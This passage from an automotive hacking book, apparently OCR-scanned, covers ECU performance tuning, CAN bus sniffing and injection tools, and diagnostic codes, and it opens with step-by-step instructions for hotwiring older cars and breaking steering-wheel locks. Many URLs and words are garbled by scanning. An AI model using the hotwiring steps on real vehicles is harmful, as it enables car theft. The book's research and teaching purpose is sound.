and battery wires. No tricky immobilizer system got in the way of the vehicle
starting; the security was purely electrical.

To hotwire a susceptible car, you’d remove the steering wheel to expose
the ignition cylinder and typically three bundles of wires. Using the car’s
manual or simply by tracing the wires, you’d locate the ignition-battery
bundle and the starter wire. Next, you’d strip the battery and ignition wires
and twist them together (see Figure 12-9). Then, you’d “spark” the bundle
with the starter wire to start the car. Once the car started, you’d remove the
starter wire.



Ignition Wire

Battery Wire

Figure 12-9: Simple illustration of which wires to cross

If a car had a steering wheel lock, you’d bypass it by breaking off the
metal keyhole spring and breaking the lock, or sometimes just by forcing the
wheel to turn until you broke the lock.

Summary

In this chapter, you learned about low-level wireless communications. We
went over methods for identifying wireless signals and common attacks
against wireless communications. We demonstrated a few hacks using the
TPMS to show that even seemingly benign devices are vulnerable to attack.
We also reviewed key fob security and demonstrated a few simple hacks
there. Vehicle theft is rapidly adapting to modern electronic vehicles, and
keyless system attacks are one of the main hacks used in thefts.
Understanding the different systems, their strengths and weaknesses, and
how to attack them can help you understand how vulnerable your vehicle is
to theft. Finally, we discussed some old-school nonelectronic hacks, like
manually brute-forcing door keypads and hotwiring.

In Chapter 13, we’ll look at a common, and arguably less malicious, type
of hacking: performance tuning.



13
PERFORMANCE TUNING

by Dave Blundell

Performance tuning, frequently referred to simply as tuning, involves altering
an engine’s operating parameters to improve vehicle performance. In today’s
vehicles, this usually means modifying an engine computer, even for
mechanical modifications.

Performance tuning is necessary for most automotive racing. This huge
industry—worth around $19 billion annually worldwide, according to the
Performance Racing Industry—draws almost half a million people yearly to
compete in auto races in the United States alone. And these figures don’t
even include the many modified vehicles that compete in amateur racing
around the world.

Most performance tuning involves nothing more than changing the
operating conditions of an engine to achieve goals different than those of the
original design. Most engines have substantial room for improvement in
power or economy if you’re willing to give up a little safety or use a different
fuel than the engine was originally tuned with.

This chapter offers a high-level overview of engine performance tuning
and the compromises that must be made when deciding which aspects of an
engine’s operation to modify. Here are some representative examples of the



uses and accomplishments of performance tuning:

* After a different rear axle gear was installed in a 2008 Chevy Silverado to
improve the truck’s ability to tow heavy loads, the speedometer was thrown
off because of the change in gear ratio, the transmission was shifting too
late, and the antilock braking system was inoperable. The engine computer
had to be reprogrammed to make the speedometer read correctly, and the
transmission controller needed to be reprogrammed to make the truck
shift properly. After proper calibration, the truck was able to work
correctly.

* Changing from summer to winter tires in a 2005 Ford F350 required
reprogramming the engine and transmission computers in order to ensure
speedometer accuracy and appropriate transmission shifting.

* As an alternative to junking a 1995 Honda Civic when the engine blew, a
2000 Honda CR-V engine and transmission were installed. The original
engine computer was reprogrammed and tuned to match the new engine.
This vehicle has since driven almost 60,000 miles after replacement of the
motor.

* Adjusting the timing of transmission shifts and the engine’s use of fuel and
spark in the factory computer made a 2005 Chevrolet Avalanche more fuel
efficient. These changes improved fuel economy from a 15.4 mpg to a 18.5
mpg average while maintaining Louisiana emissions testing compliance.

* The factory computer was reprogrammed in a 1996 Nissan 240 to match a
newly installed engine and transmission. Before the reprogramming, the
car could barely run. After the reprogramming, the car ran as though it had
come from the factory with the new engine.

Almost every nation bas its own emissions laws that tend to prohibit tampering
with, disabling, or removing any emissions-related system. Many performance
modifications, including engine computer tuning, involve changing the
operation of or removing emissions components from the vehicle, which may be
illegal for vehicles operated on public roads. Consider local laws before
performance tuning any vebicle.




Performance Tuning Trade-0ffs

If performance tuning is powerful and offers so many benefits, why don’t
cars come from the factory with the best possible settings? The short answer
is that there is no best setting; there are only trade-offs and compromises,
which depend on what you want from any particular vehicle. There’s always
an interplay between settings. For example, the settings for getting the most
horsepower out of a vehicle are not the same as the settings that deliver the
best fuel economy. There’s a similar trade-off between lowest emissions,
maximum fuel economy, and maximum power. In order to simultaneously
increase fuel economy and power output, it is necessary to increase the
average pressure from combustion, which means the engine will be
operating closer to the edge of safe operating conditions. Tuning is a game
of compromises in which the engine is configured to achieve a specific goal
without self-destructing.

For manufacturers, the order of priority when designing engine
capabilities is to ensure

1. that the engine operates safely,
2. that it complies with emissions standards set by the EPA, and
3. that the fuel efficiency is as high as possible.

When manufacturers design certain performance-oriented vehicles, such
as the Chevrolet Corvette, power output may also be a high priority, but
only once emissions requirements have been met. Stock settings typically
stop an engine short of achieving maximum power, usually in order to
reduce emissions and protect the motor.

When performance tuning an engine without modifying mechanical
parts, the following compromises are generally true:

* Increasing power lowers fuel economy and generates higher hydrocarbon
emissions.

* Increasing fuel economy can increase NOx emissions.

* Increasing torque increases the force and stress on a vehicle’s engine and
structural components.

* Increasing cylinder pressure leads to a higher chance of detonation and



engine damage.

That said, it is actually possible to gain more power and improve fuel
economy—Dby raising the brake mean effective pressure (BMEP). The
BMEP is essentially the average pressure applied to the pistons during
engine operation. The trade-off here, however, is that it’s hard to raise
BMEP significantly without also increasing the peak cylinder pressure
during a combustion event, and so increasing the chance of detonation.
There are firm limits on the maximum peak pressure in a given situation due
to the motor’s physical construction, the fuel being used, and physical and
material factors. Increasing peak cylinder pressure beyond a certain limit will
generally result in combustion without spark due to autoignition, also known
as detonation, which will typically destroy engines quickly.

ECU Tuning

Engine computers are the vehicle computers most commonly modified for
performance tuning. Most performance modifications are designed to
change an engine’s physical operation, which often requires a corresponding
change to the calibration of the engine computer to achieve optimal
operation. Sometimes this recalibration requires physically modifying a
computer by removing and reprogramming chips, known as chip tuning. In
other cases, it’s possible to reprogram the ECU by communicating with it
using a special protocol instead of physically modifyng it, which is called
flash programming or just flashing.

Chip Tuning

Chip tuning is the oldest form of engine computer modification. Most early
engine controllers used dedicated ROM memory chips. In order to change a
chip’s operation, you had to physically remove the chip, reprogram it outside
the ECU, and then reinstall it—a process called chipping. Users who expect
to make repeated modifications on older vehicles often install sockets in
place of the ROM to allow easier insertion and removal of chips.

Automotive computers use many different kinds of memory chips. Some
can be programmed only one time, but most can be erased and reused. Some
older chips have a window on them and require UV-C light—a sterilizer—in



order to erase them.

EPROM Programmers

Chip tuning generally requires an EPROM programmer, a device that reads,
writes, and—if supported—programs chips. When chip tuning, be very
careful to make sure that the programmer you buy works with the type of
chip you intend to modify. There’s no such thing as a truly universal chip
programmer. Here are a couple of popular EPROM programmers:

BURN2 A relatively cheap basic programmer (about $85) that supports
common EPROMs used in chip programming. It features a USB
interface with an open command set, along with many tuning applications
that already have native support (https://www.moates.net/chip-
programming-c-94.bhtml).

Willem Another popular ROM burner (from $50 to $100, depending on
the model). The original Willem used a parallel port interface, but newer
versions use USB. (Look for the Willem on Ebay or MCUMall.com.)

Almost all EPROM programmers support only dual in-line package
(DIP) chips. If your vehicle’s computer uses surface mount-style chips, you’ll
probably need to purchase an appropriate additional adapter. It’s generally a
good idea to get any adapters from the same source as the programmer to
ensure compatibility. All adapters should be considered custom hardware.

Figure 13-1 shows a ROM adapter board installed in a Nissan ECU. The
two empty 28-pin sockets in the lower-left corner have been added to the
original ECU. Some soldering is often required to modify and add ROM
boards such as this one.
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Figure 13-1: A 1992 S13 Nissan KA24DE ECU with a Moates ROM
adapter board installed

ROM Emulators

One of the big advantages of chip tuning over other tuning methods is that it
allows the use of ROM emulators, which store the contents of ROM in some
form of nonvolatile read/write memory so that you can make instant
modifications to ROM. By allowing more or less instant changes, ROM
emulators can greatly reduce the amount of time required to tune a vehicle
compared to flash tuning, which is usually much slower for updates.

ROM emulators generally use a USB or serial connection to a PC and

software that updates the emulator to keep it synchronized with a working
image on the PC. The following are recommended ROM emulators:

Ostrich2 A ROM emulator designed for 8-bit EPROMs ranging from 4k
(2732A) to 512k (4mbit 29F040) and everything in between (27C128,
27C256, 27C512). It is relatively inexpensive at about $185, and features



a USB interface with an open command set, as well as many tuning
applications that already have native support
(bttps://www.moates.net/ostrich-20-the-new-breed-p-169.html).

RoadRunner A ROM emulator aimed at 16-bit EPROMs, like 28F200,
29F400, and 28F800 in a PSOP44 package (see Figure 13-2). It is also
relatively inexpensive at about $489 and features a USB interface with an
open command set and many tuning applications that already have native
support (https://www.moates.net/roadrunnerdiy-guts-kit-p-118.html).

.......

.........

........

Figure 13-2: The RoadRunner emulator connected to a Chevrolet
12200411 LS1 PCM

OLS300 An emulator that works with only WinOLS software. It is
around $3,000 (you have to get a quote) and emulates a variety of 8-and
16-bit EPROMs natively (btzp://www.eve.de/en/product/ols/ols300/).

Flash Tuning

Unlike chip tuning, flash tuning (also known as flashing) requires no physical
modifications. When flashing, you reprogram the ECU by communicating
with it using specialized protocols.

"The first flashable ECUs became available around 1996. J2534 DLLs
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combined with OEM software provide access to a method of flash
programming, but most tuning software bypasses this entirely and
communicates natively with the ECU. Most aftermarket tuning packages—
such as HP tuners, EFI Live, Hondata, and Cobb—use a proprietary piece
of hardware instead of a J2534 pass-through device. The Binary Editor
(http://www.eecanalyzer.net/) is one example of software that offers J2534 as
an option for programming Ford vehicles using supported J2534 interfaces.

RomRaider

RomRaider (http://www.romraider.com/) is a free, open source tuning tool
designed for Subaru vehicles. With that, you can use the Tactrix OpenPort
2.0—a piece of pass-through hardware (bttp://www.tactrix.com/, about $170)
that works well with RomRaider. Once you have a pass-through cable
hooked up to the ECU, RomRaider allows you to download the ECU’s flash
memory. You can then open these flash images with a definitions file, or def,
which maps the locations and structure of parameters within the image, and
provides the formulas to display data in a human-readable format. This
mapping lets you quickly locate and change engine parameters without
having to disassemble the flash. Figure 13-3 shows RomRaider with a flash
image and definition loaded.
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Figure 13-3: RomRaider ECU editor
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Stand-Alone Engine Management

One alternative to reverse engineering factory computers is to simply replace
them with an aftermarket part. A popular stand-alone engine computer is the
MegaSquirt (betp://megasquirt.info/), which is a family of boards and chips
that will work with just about any fuel-injected engine.

MegaSquirt has its roots in the DIY community and was designed to
enable people to program their own engine computers. Early MegaSquirt
units typically required you to assemble the board yourself, but these
versions often resulted in confusion, with many competing user-assembled
hardware designs that were not quite compatible. Current designs have
therefore moved toward a pre-made format in order to provide a more
consistent and uniform hardware platform.

There are several multiplatform tools available for use with the
MegaSquirt hardware. Figure 13-4 shows the most popular one:
TunerStudio (btp://www.tunerstudio.com/index.php/tuner-studio/, around $60).
TunerStudio lets you modify parameters, view sensors and engine operating
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conditions, record data, and analyze data to make targeted changes.
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Figure 13-4: TunerStudio gauge cluster

Summary

This chapter shows how an understanding of a vehicle’s embedded systems
can be used to change its behavior. We’ve seen how almost any changes
made to a vehicle, even mechanical modifications, require some
reprogramming of the vehicle’s computer. We’ve looked at how alterations
in standard factory settings result in performance trade-offs and
compromises, such that the “best” settings for a vehicle will always depend
on your specific goals. We’ve also shown a few examples of performance
tuning methods, including chip and flash tuning, and presented some
common hardware and software tools used for tuning cars.



A
TOOLS OF THE TRADE

This section discusses different tools that you may want to use when
researching a vehicle. I've chosen to focus on low-cost devices and software
because it’s important to me that as many people as possible participate in
the research.

Open Garages is willing to showcase and promote tools to aid with
automotive research. If your company produces a great product, feel free to
contact Open Garages, but unless there’s an open way to contribute to your
tool, don’t expect free publicity.

Hardware

In this section, we’ll cover boards, like the ChipWhisperer, as well as
dongle-like devices that provide CAN connectivity. We'll first look at lower-
cost, open source hardware and then explore some higher-end devices for
those willing to spend a bit more money.

Though there are many cost-effective devices for communicating with
the CAN bus, the software needed to interact with these devices can be
lacking, so you’ll often need to write your own.



Lower-End CAN Devices

These devices are useful for sniffing the contents of your CAN bus and
injecting packets. They range from hobbyist-level boards to professional
devices that support lots of custom features and can handle many different
CAN buses simultaneously.

Arduino Shields

Numerous Arduino and Arduino-like devices ($20 to $30,
https://www.arduino.cc/) will support CAN with the addition of an Arduino
shield. Here are some Arduino shields that support CAN:

CAN(diy-Shield MCP2515 CAN controller with two RJ45 connectors

and a protoarea

ChuangZhou CAN-Bus Shield MCP2515 CAN controller with a D-

sub connector and screw terminals
DFRobot CAN-Bus Shield STM32 controller with a D-sub connector
SeeedStudio SLD01105P CAN-Bus Shield MCP2515 CAN controller

with a D-sub connector

SparkFun SFE CAN-Bus Shield MCP2515 CAN controller with a D-
sub connector and an SD card holder; has connectors for an LCD and

GPS module

These shields are all pretty similar. Most run the MCP2515 CAN
controller, though the DFRobot shield uses a STM32, which is faster with
more buffer memory.

Regardless of which shield you choose, you’ll have to write code for the
Arduino in order to sniff packets. Each shield comes with a library designed
to interface with the shield programmatically. Ideally, these buses should
support something like the LAWICEL protocol, which allows them to send
and receive packets over serial via a userspace tool on the laptop, such as

SocketCAN.

Freematics OBD-1l Telematics Kit
This Arduino-based OBD-II Bluetooth adapter kit has both an OBD-II
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device and a data logger, and it comes with GPS, an accelerometer, and gyro
and temperature sensors.

CANtact

CANTtact, an open source device by Eric Evenchick, is a very affordable USB
CAN device that works with Linux SocketCAN. It uses a DB 9 connector
and has the unique advantage of using jumper pins to change which pins are
CAN and ground—a feature that allows it to support both US- and UK-
style DB9 to OBD-II connectors. You can get CANtact from
bttp://cantact.io/.

Raspberry Pi

The Raspberry Pi is an alternative to the Arduino that costs about $30 to
$40. The Pi provides a Linux operating system but doesn’t include a CAN
transceiver, so you’ll need to purchase a shield.

One of the advantages of using a Raspberry Pi over an Arduino is that it
allows you to use the Linux SocketCAN tools directly, without the need to
buy additional hardware. In general, a Raspberry Pi can talk to an MCP2515
over SPI with just some basic wiring. Here are some Raspberry Pi
implementations:

Canberry MCP2515 CAN controller with screw terminals only (no D-
sub connector; $23)

Carberry Two CAN bus lines and two GMLAN lines, LIN, and infrared

(doesn’t appear to be an open source shield; $81)

PICAN CAN-Bus Board MCP2515 CAN controller with D-sub

connector and screw terminals ($40 to $50)

ChipKit Max32 Development Board and NetworkShield

The ChipKit board is a development board that together with the
NetworkShield can give you a network-interpretable CAN system, as
discussed in “Translating CAN Bus Messages” on page 85. About $110, this
open source hardware solution is touted by the OpenXC standard and
supports prebuilt firmware from OpenXC, but you can also write your own
firmware for it and do raw CAN.
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ELM327 Chipset

The ELLM327 chipset is by far the cheapest chipset available at anywhere
(from $13 to $40), and it’s used in most cheap OBD device. It communicates
with the OBD over serial and comes with just about any type of connector
you can think of, from USB to Bluetooth, Wi-Fi, and so on. You can
connect to ELM327 devices over serial, and they’re capable of sending
packets other than OBD/UDS packets. For a full list of commands using the
EILLM327, see the data sheet at
http://elmelectronics.com/DSheets/ELM327DS.pdf.

Unfortunately, the available CAN Linux tools won’t run on the ELM327,
but Open Garages has begun a web initiative that includes sniffing drivers
for the ELM327 called CANiBUS (bttps://github.com/Hivel 3/CANiBUSY).
Be forewarned that the ELLM327 has limited buffer space, so you’ll lose
packets when sniffing and transmission can be a bit imprecise. If you’re in a
pinch, however, this is the cheapest route.

If you’re willing to open the device and solder a few wires to your
ELM327, you can reflash the firmware and convert it into a LAWICEL-
compatible device, which allows your uber cheap ELLM327 to work with
Linux and show up as an slcanX device! (You'll find information on how to
flash your ELM327 on the Area 515 makerspace blog from Des Moines,
Towa, at bttps://area515.org/elm327-hacking/.)

GoodThopter Board

Travis Goodspeed, a well-known hardware hacker, has released an open
source, low-cost board with a CAN interface called the GoodThopter. The
GoodThopter, based on his popular GoodFet devices, uses MCP2515 and
communicates over serial with its own custom interface. You'll need to
completely assemble and solder together the device yourself, but doing so
should cost just a few dollars, depending on the parts you have available at
your local hackerspace.

ELM-USB Interface

OBDTester.com sells a commercial ELM-32x-compatible device for around
$60. OBDTester.com are the maintainers of the PyOBD library (see
“Software” on page 246).
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CAN232 and CANUSB Interface

LAWICEL AB produces the commercial CAN device CAN232, which
plugs into an RS232 port with a DB9 connector, and a USB version called
CANUSB (the latter goes for $110 to $120). Because they’re made by the
inventors of the LAWICEL protocol, these devices are guaranteed to work
with the can-uti1s serial link modules.

VSCOM Adapter

The VSCOM is an affordable commercial USB CAN module from Vision
Systems (bttp://www.vscom.de/usb-to-can.btm) that uses the LAWICEL
protocol. VSCOM works with the Linux can-utils over serial link (slcan)
and provides good results. The device costs around $100 to $130.

USB2CAN Interface

The USB2CAN converter from 8devices (http://www.8devices.com/usb2can/) is
the cheapest alternative to a nonserial CAN interface. This small,
commercial USB device will show up as a standard can0 device in Linux and
has the most integrated support in this price range. Most devices that show
up as canX raw devices are PCI cards and typically cost significantly more
than this device.

EVTV Due Board

EV'TV.me (http://store.evtv.me/) specializes in electric car conversions. They
make lots of great tools for doing crazy things to your historic vehicle, like
adding a Tesla drivetrain to it. One of their tools is a $100 open source CAN
sniffer called the EVTV Due, which is basically an Arduino Due with a
built-in CAN transceiver and handle-screw terminals to interface with your
CAN lines. This board was originally written to work solely with their
SavvyCAN software, which uses their Generalized Vehicle Reverse
Engineering Tool (GVRET), but it now supports SocketCAN as well.

CrossChasm C5 Data Logger

The CrossChasm C5 (bttp://www.crosschasm.com/technology/data-logging/) is a
commercial device that supports the Ford VI firmware and costs about $120.

The C5 supports the VI, which is also known as the CAN translator, to
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convert CAN messages to the OpenXC format, and it converts some
proprietary CAN packets into a generic format to send over Bluetooth.

CANBus Triple Board

As I write this, the CANBus Triple (bttp://canb.us/) is still in development. It
uses a wiring harness designed to support Mazda, but it supports three CAN
buses of any vehicle.

Higher-End CAN Devices

Higher-end devices will cost you more money, but they’re capable of
receiving more simultaneous channels and offer more memory to help
prevent packet loss. High-performance tools often support eight channels or
more, but unless you’re working on racing vehicles, you probably don’t need
that many channels, so be sure that you need devices like these before
dropping any cash.

These devices often come with their own proprietary software or a
software subscription at sometimes significant added cost. Make sure the
software associated with the device you choose does what you want because
you’ll usually be locked into their API and preferred hardware. If you need
higher-end devices that work with Linux, try Kvaser, Peak, or EMS
Wiinsche. The devices from these companies typically use the sjal000
chipset at prices starting around $400.

CAN Bus Y-Splitter

A CAN bus Y-splitter is a very simple device that’s basically one DLC
connector broken into two connectors, which allows you to plug a device
into one port and a CAN sniffer into the other. These typically cost around
$10 on Amazon and are actually quite simple to make yourself.

HackRF SDR

HackRF is an SDR from Great Scott Gadgets
(https://greatscottgadgets.com/backrf/). This open source hardware project can
receive and transmit signals from 10 MHz to 6 GHz. At about $330, you
can’t get a better SDR for the price.
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USRP SDR

USRP (bttp://www.ettus.com/) is a professional, modular SDR device that you
can build to suit your needs. USRP is open source to varying degrees at
prices ranging from $500 to $2,000.

ChipWhisperer Toolchain

NewAE Technologies produces the ChipWhisperer
(http://newae.com/chipwhisperer/). As discussed in “Side-Channel Analysis with
the ChipWhisperer” on page 134, the ChipWhisperer is a system for side-
channel attacks, such as power analysis and clock glitching. Similar systems
usually cost $30,000 or more, but the ChipWhisperer is an open source
system that costs between $1,000 and $1,500.

Red Pitaya Board

Red Pitaya (bttp://redpitaya.com/) is an open source measurements tool that
for around $500 replaces expensive measurement tools such as oscilloscopes,
signal generators, and spectrum analyzers. Red Pitaya has LabView and
Matlab interfaces, and you can write your own tools and applications for it.
It even supports extensions for things like Arduino shields.

Software

As we did with hardware, we’ll focus first on open source tools and then
cover more expensive ones.

Wireshark

Wireshark (bttps://www.wireshark.org/) is a popular network sniffing tool. It
is possible to use Wireshark on a CAN bus network as long as you are
running Linux and using SocketCAN. Wireshark doesn’t have any features
to help sort or decode CAN packets, but it could be useful in a pinch.

PyOBD Module

PyOBD (bttp://www.obdtester.com/pyobd)—also known as PyOBD2 and
PyOBD-Il—is a Python module that communicates with ELM327 devices
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(see Figures A-1 and A-2). It’s based on the PySerial library and is designed
to give you information on your OBD setup in a convenient interface. For a
specific scan tool fork of PyOBD, see Austin Murphy’s OBD2 ScanTool
(https://github.com/AustinMurphy/OBD2-Scantool/), which is attempting to
become a more complete open source solution for diagnostic
troubleshooting.

|| PYOBD-II + - O
Eile ©BD-Il Trouble codes Help

| status | Tests | sensors | DTC | Trace
Description Value
DTCs: 0
MIL: Off
Misfire: Supported - Completed
Fuel system: Supported - Completed
Components: Supported - Completed
Catalyst: Supported - Incompleted
Heated Catalyst: Unsupported
Evaporative system: Supported - Incompleted
Secondary Air System: Supported - Incompleted
AJC Refrigerant: Unsupported
Oxygen Sensor: Supported - Incompleted
Oxygen Sensor Heater: Supported - Incompleted
EGR SystemcC7: Supported - Completed

Figure A-1: PyOBD running diagnostic tests
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= pyOBD-II + - D%
File QBD-I Jrouble codes Help

Status | Tests | Sensors | DTC | Trace

Supporteq Sensor | Value

Fuel Rail Pressure Ll
Intake Manifold Pressure
Engine RPM 0 ()
Vehicle Speed 0.0 (MPH)
Timing Advance -23.5 (degrees)
Intake Air Temp -40 (C)
Air Flow Rate (MAF) 0.0 (Ib/min)
Throttle Position 100.0 (%)
Secondary Air Status 04 () "
Location of O2 sensors 03 ()
02 Sensor: 1 -1 51099.21875 (%)
02 sensor: 1-2 17699.21875 (%)
02 Sensor: 1- 3 [~

oM M oM oM M M M MM

Figure A-2: PyOBD reading sensor data

Linux Tools
Linux supports CAN drivers out of the box, and SocketCAN provides a

simple netlink (network card interface) experience when dealing with CAN.
You can use its can-utils suite for a command line implementation, and as
open source software, it’s easy to extend functionality to other utilities. (See

Chapter 3 for more on SocketCAN.)

CANIBUS Server

CANiBUS is a web server written in Go by Open Garages (see Figure A-3).
This server allows a room full of researchers to simultaneously work on the
same vehicle, whether for instructional purposes or team reversing sessions.
The Go language is portable to any operating system, but you may have
issues with low-level drivers on certain platforms. For example, even if
you’re running CANiBUS on Linux, you won’t be able to directly interact
with SocketCAN because Go doesn’t support the necessary socket flags to
initialize the CAN interface. (This problem could be addressed by
implementing socketcand, but as of this writing, that feature has yet to be
implemented.) CANiBUS does have a driver for ELM327 that supports



generic sniffing. You can learn more about CANiBUS at
http://wiki.bivel 3.org/view/CANiBUS/ and can download the source from
https://github.com/Hivel 3/CANiBUSY/.
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Figure A-3: CANIBUS group-based web sniffer

Kayak

Kayak (bttp://kayak.2codeornot2code.org/) is a Java-based GUI for analyzing
CAN traffic. It has several advanced features, such as GPS tracking and
record and playback capabilities. It utilizes socketcand in order to work on
other operating systems, so you’ll need at least one Linux-based sniffer to
support Kayak. (You’ll find more detail on setup and use in “Kayak” on page
46.)

SavvyCAN

SavvyCAN is a tool written by Collin Kidder of EVTV.me that uses another
framework designed by EVI'V.me, GVRET, to talk to HW sniffers such as
the EVT'V Due. SavwyCAN is an open source, Qt GUI-based tool that
works on multiple operating systems (see Figure A-4). It includes several
very nice features, such as DBC editor, CAN bus graphing, log file diffing,
several reverse engineering tools, and all the normal CAN sniffing features
you would expect. SavvyCAN doesn’t talk to SocketCAN, but it can read in
several different logfile formats, such as Bushmaster logs, Microchip logs,
CRTD formats, and generic CSV-formatted logfiles.
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Figure A-4: SavwyCAN GUI

0200 Data Logger

0200 (bttp:/fwww.vanbeusden.com/O200/) is an open source OBD-II data
logger that works with ELM327 to record data to a SQLite database for
graphing purposes. It also supports reading GPS data in NMEA format.

Caring Caribou

Caring Caribou (bttps://github.com/CaringCaribou/caringcaribou/), written in
Python, is designed to be the Nmap of automotive hacking. As of this

writing, it’s still in its infancy, but it shows a lot of potential. Caring Caribou
has some unique features, like the ability to brute-force diagnostic services,
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and handles XCP. It also has your standard sniff-and-send CAN
functionality and will support your own modules.

cOf Fingerprinting Tool

CAN of Fingers (c0f) is an open source tool for fingerprinting CAN bus
systems that can be found at hzzps://github.com/zombieCraig/cOf/. It has some
basic support for identifying patterns in a CAN bus network stream, which
can be useful when trying to find a specific signal on a noisy bus. (See “Using
cOf” on page 206 for an example of cOf at work.)

UDSim ECU Simulator
UDSim (bttps://github.com/zombieCraig/UDSim/) is a GUI tool that can

monitor a CAN bus and automatically learn the devices attached to it by
watching communications (see Figure A-5). It’s designed to be used with
another diagnostic tool, such as a dealership tool or a scan tool from a local
automotive store.

M ™ uDSIm

UDSim
244

Positive ID: 544 Negative ID: 644

Altack Options
O ruzz vin
Fuzz Level s——F—+—= Max

[£] Fake Responses [] wnore

Simulation Mode identified 3 Active modules



https://github.com/zombieCraig/c0f/
https://github.com/zombieCraig/UDSim/

Figure A-5: Sample screen from UDSim as it learns modules off a test
bench

UDSim has three modes: learning, simulation, and attack. In learning
mode, it identifies modules that respond to UDS diagnostic queries and
monitors the responses. In simulation mode, it simulates a vehicle on the
CAN bus to fool or test diagnostic tools. In attack mode, it creates a fuzzing
profile for tools like Peach Fuzzer (bttp://www.peachfuzzer.com/).

Octane CAN Bus Sniffer

Octane (bttp://octane.gmu.edu/) is an open source CAN bus sniffer and
injector with a very nice interface for sending and receiving CAN packets,
including an XML trigger system. Currently, it runs only on Windows.

AVRDUDESS GUI

AVRDUDESS (bttp://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/) is a
GUI frontend for AVRDUDE written in .NET, though it works fine with
Mono on Linux. You’ll see AVRDUDESS in action in “Prepping Your Test
with AVRDUDESS” on page 139.

RomRaider ECU Tuner

RomRaider (http://www.romraider.com/) is an open source tuning suite for
the Subaru engine control unit that lets you view and log data and tune the
ECU (see Figure A-6). It’s one of the few open source ECU tuners, and it
can handle 3D views and live data logging. You'll need a Tactrix Open Port
2.0 cable and Tactrix EcuFlash software in order to download and use the
ECU’s firmware. Once you've downloaded the flash with EcuFlash, you can
edit it with RomRaider. The editor is written in Java and currently works on
Windows and Linux, though EcuFlash isn’t supported on Linux.
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Figure A-6: RomRaider tuning editor

Komodo CAN Bus Sniffer

Komodo is a higher-end sniffer with a nice multioperating system—Python
SDK. It costs around $350 to $450 depending on whether you want a single-
or dual-CAN interface. Komodo has isolation capabilities to prevent your
computer from frying if you miswire something, as well as eight general-
purpose IO pins you can configure to trigger actions from external devices.
Komodo comes with some decent software to get you up and running, but
the real advantage is that you can write your own Komodo software.

Vehicle Spy

Vehicle Spy is a commercial tool from Intrepid Control Systems
(http://store.intrepidcs.com/) that’s specifically designed for reversing CAN and
other vehicle communication protocols. The software requires one license
per NeoVI or ValueCAN device, both proprietary devices for Vehicle Spy.
The ValueCANS3 is the cheapest device that works with Vehicle Spy. It has
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one CAN interface and costs about $300. Add the Vehicle Spy Basic
software and your cost will be about $1,300.

The NeolV devices are higher end, with multiple configurable channels,
starting at around $1,200. A basic package contains a NeolV (Red) and
Vehicle Spy Basic for $2,000, which saves a bit of money. Vehicle Spy
Professional costs about $2,600 without hardware. (You’ll find several
options on Intrepid’s site.)

All Intrepid hardware devices support uploading scripts to run on the bus
in real time. Vehicle Spy Basic supports CAN/LIN RX/TX operations.
You’ll need the professional version only if car hacking is going to be a full-
time project for you or if you want to use ECU flashing or other advanced
features, such as Node Simulation, scripting on the sniffer, or memory
calibration.



B
DIAGNOSTIC CODE MODES AND PIDS

In Chapter 4 we looked at modes and parameter IDs in diagnostic codes.
This appendix lists a few more common modes and interesting PIDs for
reference.

Modes Above Ox10

Modes above 0x10 are proprietary codes. Here are some common modes
specified by the ISO 14229 standard: 0x10 Initiates diagnostics 0x11 Resets
the ECU

0x14 Clears diagnostic codes 0x22 Reads data by ID
0x23 Reads memory by address 0x27 Security access
0x2e Writes data by ID

0x34 Requests download 0x35 Requests upload
0x36 T'ransfers data

0x37 Requests transfer exit 0x3d Writes memory by address 0x3e Tester
present



Useful PIDs

Some interesting PIDs for modes 0x01 and 0x02 include the following: 0x00
PIDs supported (0x01-0x20) 0x01 Monitor the status of the MIL

0x05 Engine coolant temperature 0x0C RPM
0x0D Vehicle speed

0x1C OBD standards to which this vehicle conforms 0x1F Run time
since vehicle started 0x20 Additional PIDs supported (0x21-0x40) 0x31
Distance traveled since D'T'Cs cleared 0x40 Additional PIDs supported
(0x41-0x60) 0x4D Time run with MIL on 0x60 Additional PIDs
supported (0x61-0x80) 0x80 Additional PIDs supported (0x81-0xA0)
0xA0 Additional PIDs supported (0xA1-0xC0) 0xCO Additional PIDs
supported (0xC1-0xE0) Some vehicle information service numbers for
mode 0x09 include: 0x00 PIDs supported (0x01-0x20) 0x02 VIN

0x04 Calibration ID
0x06 Calibration verification numbers (CVN) 0x20 ECU name

For a list of further service PIDs to query, see
bttp://en.wikipedia.org/wiki/OBD-1I_PIDs.
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C
CREATING YOUR OWN OPEN GARAGE

Open Garages is a collaboration of like-minded individuals interested in
hacking automotive systems, whether through performance tuning, artistic
modding, or security research. There are Open Garages groups across the
United States and United Kingdom, and anyone can start or join one. You
can, of course, hack cars in your own garage, but it’s way more fun and
productive to hack multiple projects with friends. To learn more, visit
http://www.opengarages.org/ for details on groups in your area, join the
mailing list to receive the latest announcements, and follow Open Garages
on Twitter @OpenGarages.

Filling Out the Character Sheet

If there isn’t an Open Garages group in your area, you can start one! Ill
walk you through how to build your own group, and then you can submit
the Open Garages Character Sheet on the following page to
0g@openGarages.org.
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The character sheet has a few different sections. The square in the upper
left is where you should sketch out your idea for a garage. You can sketch
anything you want: a layout for a garage, notes, a logo, and so on. You can
either come up with a name for your space now or wait until you have a few
more members to decide. If you’re planning to host your meetings out of an
existing hackerspace, you may want to just use that space’s name or some
variation of it.

When to Meet

Pick a set date to meet. Most groups meet about once a month, but you can
make your meetings as frequent as you like. The timing of your meetings
may depend on the type of space you have available and whether you’re
sharing it with anyone else.

Check the box(es) next to Public Days for the day(s) you want to be open
to the public. Under the checkboxes, enter your Open and Close times. If
you want your event to meet less often than weekly, pick which week of the
month you’ll meet. For instance, if you want to meet on the first Saturday of
every month from 6 to 9 pM, your sheet would look like Figure C-1.

Space Name : <I__ﬁ=f"q 5/7 ol évf”‘ﬁ .{ _[

S M i W h F 3

Public Days : u | ( ] [ ,2[

Open : : : : : : : 6 :00pa
Close : : : : : : : ‘71“{#4«

Only on the '] s 4 week of the month

Space Affiliation With: (34 TorLemtries
Private Membership Available? __ Y25

Cost : LLD _Per : Ltani)

Figure C-1: Scheduling meetings on the first Saturday of each month

Affiliations and Private Memberships

If you’re working with another group or hackerspace, include it on the Space



Affiliation line. Then decide whether you want to offer private membership.
Your Open Garages group must be open to the public at least one day of the
month, but you can offer private memberships with additional perks, like
access to the space for extended hours or access to special equipment. Private
membership fees can help pay for space rental, tools, insurance, and various
other costs as they come up.

If you’re affiliated with a hackerspace, this section can be filled in with
their membership cost information. Sometimes it’s easier to find a local
hackerspace and host Open Garages meetings from their location. If you
